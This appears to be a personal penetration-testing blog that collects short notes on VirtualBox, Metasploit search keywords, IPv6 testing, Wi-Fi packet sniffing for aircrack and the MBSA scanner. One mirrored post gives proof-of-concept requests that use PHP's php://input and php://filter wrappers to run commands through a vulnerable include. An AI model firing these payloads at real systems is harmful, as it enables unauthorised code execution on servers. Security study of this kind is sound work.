shell in a jar

Virtual Box for Mac, encountered and error saying imported vdi file existed with spesific UUID. Error when trying to import existing .vdi harddisk files in Virtual Box. Reason is because each vdi (harddisk) is tag with a unique UID, thus can't be replicated. BUT, you can clone it. OOn Mac OS X, Virtual Box comes with a cloning utility. Open Terminal and enter below: VBoxManage clonehd <old.vdi> <new.vdi> and it wil be clone accordingly. :) /alak

Quoted from HD Moore from Metasploit framework mailing list: The still-not-documented-keyword-system is much more flexible (and slower), but takes the following options: name Search within the module's descriptive name name:Microsoft path Search within the module's path name path:windows/smb platform Search for modules affecting this platform/target platform:linux type Search for modules that are of a specific type (exploit, auxiliary, or post) type:exploit app Search for modules that are either client or server attacks app:client author Search for modules written by author author:hdm cve Search for modules with a matching CVE ID cve:2009 bid Search for modules with a matching Bugtraq ID bid:10078 osvdb Search for modules with a matching OSVDB ID osvdb:875 Simple search by BID: And another using PLATFORM directive: It may be not that perfect yet: but it works! : A very big kudos to HDM :) //alak

Original post here : http://www.room362.com/blog/2011/4/6/ipv6-attacks.html Rick Hayes - Assessing and Pen-Testing IPv6 Networks from Adrian Crenshaw on Vimeo . //alak

This is a direct rip from here : http://www.cr0w.ru/2009/03/self-contained-file-include-in-php-520.html It is for my own record, and can be seen as a mirror. :) Sometimes those two tricks may be useful in RFI attacks. 1. Using php://input wrapper php://input wrapper allows you to read raw POST data (http://ru2.php.net/wrappers.php). For example, there is such code: sini2 <? if ( include($_GET['file'] . '.php') ) { echo 'Henck!'; } else { echo 'Error!'; } ?> For exploitation we need: allow_url_include=On magic_quotes_gpc=Off PoC: POST http://site.com/index.php?file=php://input HTTP/1.1 Host: site.com <?php passthru('dir'); ?> Also using additional php://filter wrapper (available since PHP 5.0.0) we can encode our php code: POST http://site.com/index.php?file=php://filter/read=string.rot13/resource=php://input HTTP/1.1 Host: site.com <?php passthru('dir'); ?> 2. Using data: wrapper Since version 5.2.0 PHP support...

Adam-Othmans-MacBook-Pro:scratch adam$ cd /opt/local/var/macports/software/metasploit3/3.0_0/opt/local/libexec/metasploit3/ Adam-Othmans-MacBook-Pro:metasploit3 adam$ svn update Skipped '.' Adam-Othmans-MacBook-Pro:metasploit3 adam$ A lil ref from here : http://www.jeffcross.me/2009/04/28/installing-metasploit-on-mac-os-x/ Just a side note for me. :) //alak

Well, as the ttitle suggest, this might be inetersting. Run this in your terminal: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport Warning: it will disconnect you from your current connection. Quoted from here : i know this thread is pretty dead, but for anyone else who might stumble upon this, here's an easy way to sniff packets: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport is a binary that'll do many nifty things... run it without any arguments to get a list of options... specifically, "sudo airport sniff" (obviously, after making a link to the binary) will output a .cap file to /tmp... then you just need to run aircrack on that file... only downer is that you can't see how many packets you've collected so far... closest you could do is run something like "du /tmp/*.cap" and keep track of how large the file's getting Need further exploring tho.. //alak

I came to an asigbment that reuiqres me to use MBSA. Wadehel? i never used this tool before. well, it turns out its quite direct enough. a brief example, a copy paste from here and there. Hope this helps anyone. MBSA basically uses "Remote Registry" and SMB to login and gather all data it wants. it can check ffor few things: ok.. skip the intro, more info go rtfm here : http://technet.microsoft.com/en-us/security/cc184924.aspx Erm, the stupid simple working is that the PC which is canning, and the target PC must have the same password/username, so that MBSA will then login and check for what it needs, and the username must have administrative privilleges. so, is there anyway that you cna set the username/password in mbsa.exe? NO! is there anyway you can login as a domain account in your scanning pc, because the target pc is using domain logins? NO. stupid . solution? use mbsacli.exe. Yup command line. Heres what i did; in my case, i needed to login as a domain account instea...